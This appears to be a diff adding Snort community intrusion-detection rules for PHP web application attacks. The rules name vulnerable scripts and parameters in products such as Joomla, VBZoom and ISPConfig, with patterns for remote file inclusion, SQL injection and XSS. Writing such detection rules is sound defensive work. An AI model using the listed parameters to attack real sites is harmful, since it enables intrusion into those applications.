+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Claroline ganesha.inc.php access"; flow:to_server,established; uricontent:"claroline/auth/extauth/drivers/ganesha.inc.php"; reference:url,www.claroline.net; reference:url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2; classtype:web-application-attack; sid:100000293; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Claroline mambo.inc.php access"; flow:to_server,established; uricontent:"claroline/auth/extauth/drivers/mambo.inc.php"; reference:url,www.claroline.net; reference:url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2; classtype:web-application-attack; sid:100000294; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Claroline moodle.inc.php access"; flow:to_server,established; uricontent:"claroline/auth/extauth/drivers/moodle.inc.php"; reference:url,www.claroline.net; reference:url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2; classtype:web-application-attack; sid:100000295; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Claroline phpnuke.inc.php access"; flow:to_server,established; uricontent:"claroline/auth/extauth/drivers/phpnuke.inc.php"; reference:url,www.claroline.net; reference:url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2; classtype:web-application-attack; sid:100000296; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Claroline postnuke.inc.php access"; flow:to_server,established; uricontent:"claroline/auth/extauth/drivers/postnuke.inc.php"; reference:url,www.claroline.net; reference:url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2; classtype:web-application-attack; sid:100000297; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Claroline spip.inc.php access"; flow:to_server,established; uricontent:"claroline/auth/extauth/drivers/spip.inc.php"; reference:url,www.claroline.net; reference:url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2; classtype:web-application-attack; sid:100000298; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Claroline event/init_event_manager.inc.php access"; flow:to_server,established; uricontent:"claroline/inc/lib/event/init_event_manager.inc.php"; reference:url,www.claroline.net; reference:url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2; classtype:web-application-attack; sid:100000299; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Claroline export_exe_tracking.class.php access"; flow:to_server,established; uricontent:"claroline/inc/lib/export_exe_tracking.class.php"; reference:url,www.claroline.net; reference:url,marc.theaimsgroup.com/?l=full-disclosure&m=114710378713072&w=2; classtype:web-application-attack; sid:100000300; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Gphoto index.php rep parameter remote file include attempt"; flow:to_server,established; uricontent:"index.php"; nocase; uricontent:"rep="; nocase; pcre:"/rep=(https?|ftp)/Ui"; reference:url,marc.theaimsgroup.com/?l=bugtraq&m=114754094110073&w=2; classtype:web-application-attack; sid:100000304; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Gphoto index.php image parameter remote file include attempt"; flow:to_server,established; uricontent:"index.php"; nocase; uricontent:"image="; nocase; pcre:"/image=(https?|ftp)/Ui"; reference:url,marc.theaimsgroup.com/?l=bugtraq&m=114754094110073&w=2; classtype:web-application-attack; sid:100000305; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Gphoto diapho.php rep parameter remote file include attempt"; flow:to_server,established; uricontent:"diapho.php"; nocase; uricontent:"rep="; nocase; pcre:"/rep=(https?|ftp)/Ui"; reference:url,marc.theaimsgroup.com/?l=bugtraq&m=114754094110073&w=2; classtype:web-application-attack; sid:100000306; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Gphoto diapho.php image parameter remote file include attempt"; flow:to_server,established; uricontent:"diapho.php"; nocase; uricontent:"image="; nocase; pcre:"/image=(https?|ftp)/Ui"; reference:url,marc.theaimsgroup.com/?l=bugtraq&m=114754094110073&w=2; classtype:web-application-attack; sid:100000307; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Gphoto affich.php rep parameter remote file include attempt"; flow:to_server,established; uricontent:"affich.php"; nocase; uricontent:"rep="; nocase; pcre:"/rep=(https?|ftp)/Ui"; reference:url,marc.theaimsgroup.com/?l=bugtraq&m=114754094110073&w=2; classtype:web-application-attack; sid:100000308; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Gphoto affich.php image parameter remote file include attempt"; flow:to_server,established; uricontent:"affich.php"; nocase; uricontent:"image="; nocase; pcre:"/image=(https?|ftp)/Ui"; reference:url,marc.theaimsgroup.com/?l=bugtraq&m=114754094110073&w=2; classtype:web-application-attack; sid:100000309; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Particle Gallery Viewimage PHP Variable Injection Attempt"; flow:to_server,established; uricontent:"viewimage.php?imageid="; nocase; pcre:"/viewimage\.php\?imageid=(![\d]+[\sa-zA-Z_]+)|([\d]+[\sa-zA-Z_]+)/Ui"; reference:bugtraq,18270; classtype:web-application-attack; sid:100000445; rev:1;)
+#alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Particle Wiki PHP SQL Injection attempt"; flow:to_server,established; uricontent:"version="; nocase; pcre:"/[\x3f\x26\x3b]version=(![\d]+[\sa-zA-Z_]+)|([\d]+[\sa-zA-Z_]+)/Ui"; reference:bugtraq,18273; classtype:web-application-attack; sid:100000446; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Joomla joomla.php remote file include"; flow:to_server,established; uricontent:"/joomla.php"; nocase; uricontent:"includepath="; nocase; pcre:"/includepath=(https?|ftp)/Ui"; reference:bugtraq,18363; classtype:web-application-attack; sid:100000463; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP LoveCompass AEPartner design.inc.php remote file include"; flow:to_server,established; uricontent:"/design.inc.php"; nocase; uricontent:"dir[data]="; nocase; pcre:"/dir\[data\]=(https?|ftp)/Ui"; reference:bugtraq,18370; classtype:web-application-attack; sid:100000464; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Empris sql_fcnsOLD.php remote file include"; flow:to_server,established; uricontent:"/sql_fcnsOLD.php"; nocase; uricontent:"phormationdir="; nocase; pcre:"/phormationdir=(https?|ftp)/Ui"; reference:bugtraq,18371; classtype:web-application-attack; sid:100000465; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Free QBoard post.php remote file include"; flow:to_server,established; uricontent:"/post.php"; nocase; uricontent:"qb_path="; nocase; pcre:"/qb_path=(https?|ftp)/Ui"; reference:bugtraq,18373; classtype:web-application-attack; sid:100000466; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP WebprojectDB nav.php remote file include"; flow:to_server,established; uricontent:"/nav.php"; nocase; uricontent:"INCDIR="; nocase; pcre:"/INCDIR=(https?|ftp)/Ui"; reference:bugtraq,18378; classtype:web-application-attack; sid:100000467; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP WebprojectDB lang.php remote file include"; flow:to_server,established; uricontent:"/lang.php"; nocase; uricontent:"INCDIR="; nocase; pcre:"/INCDIR=(https?|ftp)/Ui"; reference:bugtraq,18378; classtype:web-application-attack; sid:100000468; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP iFoto index.php xss attempt"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"dir="; nocase; pcre:"/dir(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18391; classtype:web-application-attack; sid:100000469; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Foing manage_songs.php remote file include"; flow:to_server,established; uricontent:"/manage_songs.php"; nocase; uricontent:"foing_root_path="; nocase; pcre:"/foing_root_path=(https?|ftp)/Ui"; reference:bugtraq,18392; classtype:web-application-attack; sid:100000470; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP VBZoom show.php SQL injection attempt"; flow:to_server,established; uricontent:"/show.php"; nocase; uricontent:"objectID="; nocase; pcre:"/objectID(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18403; classtype:web-application-attack; sid:100000471; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP VBZoom show.php SQL injection attempt"; flow:to_server,established; uricontent:"/show.php"; nocase; uricontent:"MAINID="; nocase; pcre:"/MAINID(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18403; classtype:web-application-attack; sid:100000472; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP VBZoom language.php SQL injection attempt"; flow:to_server,established; uricontent:"/language.php"; nocase; uricontent:"Action="; nocase; pcre:"/Action(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18403; classtype:web-application-attack; sid:100000473; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP VBZoom meaning.php SQL injection attempt"; flow:to_server,established; uricontent:"/meaning.php"; nocase; uricontent:"QuaranID="; nocase; pcre:"/QuaranID(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18403; classtype:web-application-attack; sid:100000474; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP VBZoom meaning.php SQL injection attempt"; flow:to_server,established; uricontent:"/meaning.php"; nocase; uricontent:"ShowByQuranID="; nocase; pcre:"/ShowByQuranID(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18403; classtype:web-application-attack; sid:100000475; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP VBZoom meaning.php SQL injection attempt"; flow:to_server,established; uricontent:"/meaning.php"; nocase; uricontent:"Action="; nocase; pcre:"/Action(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18403; classtype:web-application-attack; sid:100000476; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP VBZoom subject.php SQL injection attempt"; flow:to_server,established; uricontent:"/subject.php"; nocase; uricontent:"MainID="; nocase; pcre:"/MainID(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18403; classtype:web-application-attack; sid:100000477; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP aWebNews visview.php remote file include"; flow:to_server,established; uricontent:"/visview.php"; nocase; uricontent:"path_to_news="; nocase; pcre:"/path_to_news=(https?|ftp)/Ui"; reference:bugtraq,18406; classtype:web-application-attack; sid:100000478; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP CzarNews headlines.php remote file include"; flow:to_server,established; uricontent:"/headlines.php"; nocase; uricontent:"tpath="; nocase; pcre:"/tpath=(https?|ftp)/Ui"; reference:bugtraq,18411; classtype:web-application-attack; sid:100000479; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Somery team.php remote file include"; flow:to_server,established; uricontent:"/team.php"; nocase; uricontent:"checkauth="; nocase; pcre:"/checkauth=(https?|ftp)/Ui"; reference:bugtraq,18412; classtype:web-application-attack; sid:100000480; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Hinton Design PHPHG signed.php remote file include"; flow:to_server,established; uricontent:"/signed.php"; nocase; uricontent:"phphg_real_path="; nocase; pcre:"/phphg_real_path=(https?|ftp)/Ui"; reference:bugtraq,18413; classtype:web-application-attack; sid:100000481; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP BoastMachine vote.php remote file include"; flow:to_server,established; uricontent:"/vote.php"; nocase; uricontent:"bmc_dir="; nocase; pcre:"/bmc_dir=(https?|ftp)/Ui"; reference:bugtraq,18415; classtype:web-application-attack; sid:100000482; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Wheatblog view_links.php remote file include"; flow:to_server,established; uricontent:"/view_links.php"; nocase; uricontent:"wb_inc_dir="; nocase; pcre:"/wb_inc_dir=(https?|ftp)/Ui"; reference:bugtraq,18416; classtype:web-application-attack; sid:100000483; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Confixx ftp_index.php xss attempt"; flow:to_server,established; uricontent:"/ftp_index.php"; nocase; uricontent:"lpath="; nocase; pcre:"/lpath(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18426; classtype:web-application-attack; sid:100000484; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP RahnemaCo page.php remote file include"; flow:to_server,established; uricontent:"/page.php"; nocase; uricontent:"osCsid="; nocase; pcre:"/osCsid=(https?|ftp)/Ui"; reference:bugtraq,18435; classtype:web-application-attack; sid:100000485; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP PhpBlueDragon CMS template.php remote file include"; flow:to_server,established; uricontent:"/template.php"; nocase; uricontent:"vsDragonRootPath="; nocase; pcre:"/vsDragonRootPath=(https?|ftp)/Ui"; reference:bugtraq,18440; classtype:web-application-attack; sid:100000486; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP ISPConfig server.inc.php remote file include"; flow:to_server,established; uricontent:"/server.inc.php"; nocase; uricontent:"go_info[isp][classes_root]="; nocase; pcre:"/go_info\[isp\]\[classes_root\]=(https?|ftp)/Ui"; reference:bugtraq,18441; classtype:web-application-attack; sid:100000487; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP ISPConfig app.inc.php remote file include"; flow:to_server,established; uricontent:"/app.inc.php"; nocase; uricontent:"go_info[isp][classes_root]="; nocase; pcre:"/go_info\[isp\]\[classes_root\]=(https?|ftp)/Ui"; reference:bugtraq,18441; classtype:web-application-attack; sid:100000488; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP ISPConfig login.php remote file include"; flow:to_server,established; uricontent:"/login.php"; nocase; uricontent:"go_info[isp][classes_root]="; nocase; pcre:"/go_info\[isp\]\[classes_root\]=(https?|ftp)/Ui"; reference:bugtraq,18441; classtype:web-application-attack; sid:100000489; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP ISPConfig trylogin.php remote file include"; flow:to_server,established; uricontent:"/trylogin.php"; nocase; uricontent:"go_info[isp][classes_root]="; nocase; pcre:"/go_info\[isp\]\[classes_root\]=(https?|ftp)/Ui"; reference:bugtraq,18441; classtype:web-application-attack; sid:100000490; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP DeluxeBB posting.php remote file include"; flow:to_server,established; uricontent:"/posting.php"; nocase; uricontent:"templatefolder="; nocase; pcre:"/templatefolder=(https?|ftp)/Ui"; reference:bugtraq,18455; classtype:web-application-attack; sid:100000491; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP DeluxeBB newpm.php remote file include"; flow:to_server,established; uricontent:"/newpm.php"; nocase; uricontent:"templatefolder="; nocase; pcre:"/templatefolder=(https?|ftp)/Ui"; reference:bugtraq,18455; classtype:web-application-attack; sid:100000492; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP DeluxeBB postreply.php remote file include"; flow:to_server,established; uricontent:"/postreply.php"; nocase; uricontent:"templatefolder="; nocase; pcre:"/templatefolder=(https?|ftp)/Ui"; reference:bugtraq,18455; classtype:web-application-attack; sid:100000493; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Zeroboard write_ok.php xss attempt"; flow:to_server,established; uricontent:"/write_ok.php"; nocase; uricontent:"$s_file_name="; nocase; pcre:"/$s_file_name(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18458; classtype:web-application-attack; sid:100000494; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Zeroboard write_ok.php xss attempt"; flow:to_server,established; uricontent:"/write_ok.php"; nocase; uricontent:"$file_name="; nocase; pcre:"/$file_name(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18458; classtype:web-application-attack; sid:100000495; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Chipmailer index.php SQL injection attempt"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"anfang="; nocase; pcre:"/anfang(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18463; classtype:web-application-attack; sid:100000496; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Calendarix cal_event.php SQL injection attempt"; flow:to_server,established; uricontent:"/cal_event.php"; nocase; uricontent:"id="; nocase; pcre:"/id(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18469; classtype:web-application-attack; sid:100000497; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Calendarix cal_popup.php SQL injection attempt"; flow:to_server,established; uricontent:"/cal_popup.php"; nocase; uricontent:"id="; nocase; pcre:"/id(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18469; classtype:web-application-attack; sid:100000498; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP PictureDis thumstbl.php remote file include"; flow:to_server,established; uricontent:"/thumstbl.php"; nocase; uricontent:"lang="; nocase; pcre:"/lang=(https?|ftp)/Ui"; reference:bugtraq,18471; classtype:web-application-attack; sid:100000499; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP PictureDis wpfiles.php remote file include"; flow:to_server,established; uricontent:"/wpfiles.php"; nocase; uricontent:"lang="; nocase; pcre:"/lang=(https?|ftp)/Ui"; reference:bugtraq,18471; classtype:web-application-attack; sid:100000500; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP PictureDis wallpapr.php remote file include"; flow:to_server,established; uricontent:"/wallpapr.php"; nocase; uricontent:"lang="; nocase; pcre:"/lang=(https?|ftp)/Ui"; reference:bugtraq,18471; classtype:web-application-attack; sid:100000501; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Ji-Takz tag.class.php remote file include"; flow:to_server,established; uricontent:"/tag.class.php"; nocase; uricontent:"mycfg="; nocase; pcre:"/mycfg=(https?|ftp)/Ui"; reference:bugtraq,18474; classtype:web-application-attack; sid:100000502; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Nucleus CMS action.php remote file include"; flow:to_server,established; uricontent:"/action.php"; nocase; uricontent:"DIR_LIB="; nocase; pcre:"/DIR_LIB=(https?|ftp)/Ui"; reference:bugtraq,18475; classtype:web-application-attack; sid:100000503; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Nucleus CMS media.php remote file include"; flow:to_server,established; uricontent:"/media.php"; nocase; uricontent:"DIR_LIB="; nocase; pcre:"/DIR_LIB=(https?|ftp)/Ui"; reference:bugtraq,18475; classtype:web-application-attack; sid:100000504; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Nucleus CMS server.php remote file include"; flow:to_server,established; uricontent:"/server.php"; nocase; uricontent:"DIR_LIB="; nocase; pcre:"/DIR_LIB=(https?|ftp)/Ui"; reference:bugtraq,18475; classtype:web-application-attack; sid:100000505; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Nucleus CMS api_metaweblog.inc.php remote file include"; flow:to_server,established; uricontent:"/api_metaweblog.inc.php"; nocase; uricontent:"DIR_LIB="; nocase; pcre:"/DIR_LIB=(https?|ftp)/Ui"; reference:bugtraq,18475; classtype:web-application-attack; sid:100000506; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP FlashChat adminips.php remote file include"; flow:to_server,established; uricontent:"/adminips.php"; nocase; uricontent:"banned_file="; nocase; pcre:"/banned_file=(https?|ftp)/Ui"; reference:bugtraq,18480; classtype:web-application-attack; sid:100000507; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Wikkawiki wakka.php access"; flow:to_server,established; uricontent:"/wakka.php"; nocase; uricontent:"="; nocase;  reference:bugtraq,18481; classtype:web-application-activity; sid:100000508; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP RahnemaCo page.php remote file include"; flow:to_server,established; uricontent:"/page.php"; nocase; uricontent:"pageid="; nocase; pcre:"/pageid=(https?|ftp)/Ui"; reference:bugtraq,18490; classtype:web-application-attack; sid:100000509; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP VBZoom rank.php SQL injection attempt"; flow:to_server,established; uricontent:"/rank.php"; nocase; uricontent:"MemberID="; nocase; pcre:"/MemberID(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18497; classtype:web-application-attack; sid:100000510; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP VBZoom message.php SQL injection attempt"; flow:to_server,established; uricontent:"/message.php"; nocase; uricontent:"UserID="; nocase; pcre:"/UserID(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18497; classtype:web-application-attack; sid:100000511; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP VBZoom lng.php SQL injection attempt"; flow:to_server,established; uricontent:"/lng.php"; nocase; uricontent:"QuranID="; nocase; pcre:"/QuranID(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18497; classtype:web-application-attack; sid:100000512; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP SAPHPLesson showcat.php SQL injection attempt"; flow:to_server,established; uricontent:"/showcat.php"; nocase; uricontent:"forumid="; nocase; pcre:"/forumid(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18501; classtype:web-application-attack; sid:100000513; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP SAPHPLesson misc.php SQL injection attempt"; flow:to_server,established; uricontent:"/misc.php"; nocase; uricontent:"action="; nocase; pcre:"/action(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18501; classtype:web-application-attack; sid:100000514; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP CMS Faethon header.php xss attempt"; flow:to_server,established; uricontent:"data/header.php"; nocase; uricontent:"mainpath="; nocase; pcre:"/mainpath(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18505; classtype:web-application-attack; sid:100000515; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP CMS Faethon footer.php xss attempt"; flow:to_server,established; uricontent:"data/footer.php"; nocase; uricontent:"mainpath="; nocase; pcre:"/mainpath(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18505; classtype:web-application-attack; sid:100000516; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP e107 search.php xss attempt"; flow:to_server,established; uricontent:"/search.php"; nocase; uricontent:"ep="; nocase; pcre:"/ep(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18508; classtype:web-application-attack; sid:100000517; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP PHP Live Helper initiate.php remote file include"; flow:to_server,established; uricontent:"/initiate.php"; nocase; uricontent:"abs_path="; nocase; pcre:"/abs_path=(https?|ftp)/Ui"; reference:bugtraq,18509; classtype:web-application-attack; sid:100000518; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP VUBB index.php SQL injection attempt"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"user="; nocase; pcre:"/user(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18516; classtype:web-application-attack; sid:100000519; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Xarancms xaramcms_haupt.php SQL injection attempt"; flow:to_server,established; uricontent:"/xaramcms_haupt.php"; nocase; uricontent:"id="; nocase; pcre:"/id(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18520; classtype:web-application-attack; sid:100000520; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP TPL Design TplShop category.php SQL injection attempt"; flow:to_server,established; uricontent:"/category.php"; nocase; uricontent:"first_row="; nocase; pcre:"/first_row(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18524; classtype:web-application-attack; sid:100000521; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP The Edge eCommerce Shop productDetail.php xss attempt"; flow:to_server,established; uricontent:"/productDetail.php"; nocase; uricontent:"cart_id="; nocase; pcre:"/cart_id(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18528; classtype:web-application-attack; sid:100000522; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP CavoxCms index.php SQL injection attempt"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"page="; nocase; pcre:"/page(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18533; classtype:web-application-attack; sid:100000523; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Micro CMS microcms-include.php remote file include"; flow:to_server,established; uricontent:"/microcms-include.php"; nocase; uricontent:"microcms_path="; nocase; pcre:"/microcms_path=(https?|ftp)/Ui"; reference:bugtraq,18537; classtype:web-application-attack; sid:100000524; rev:2;)
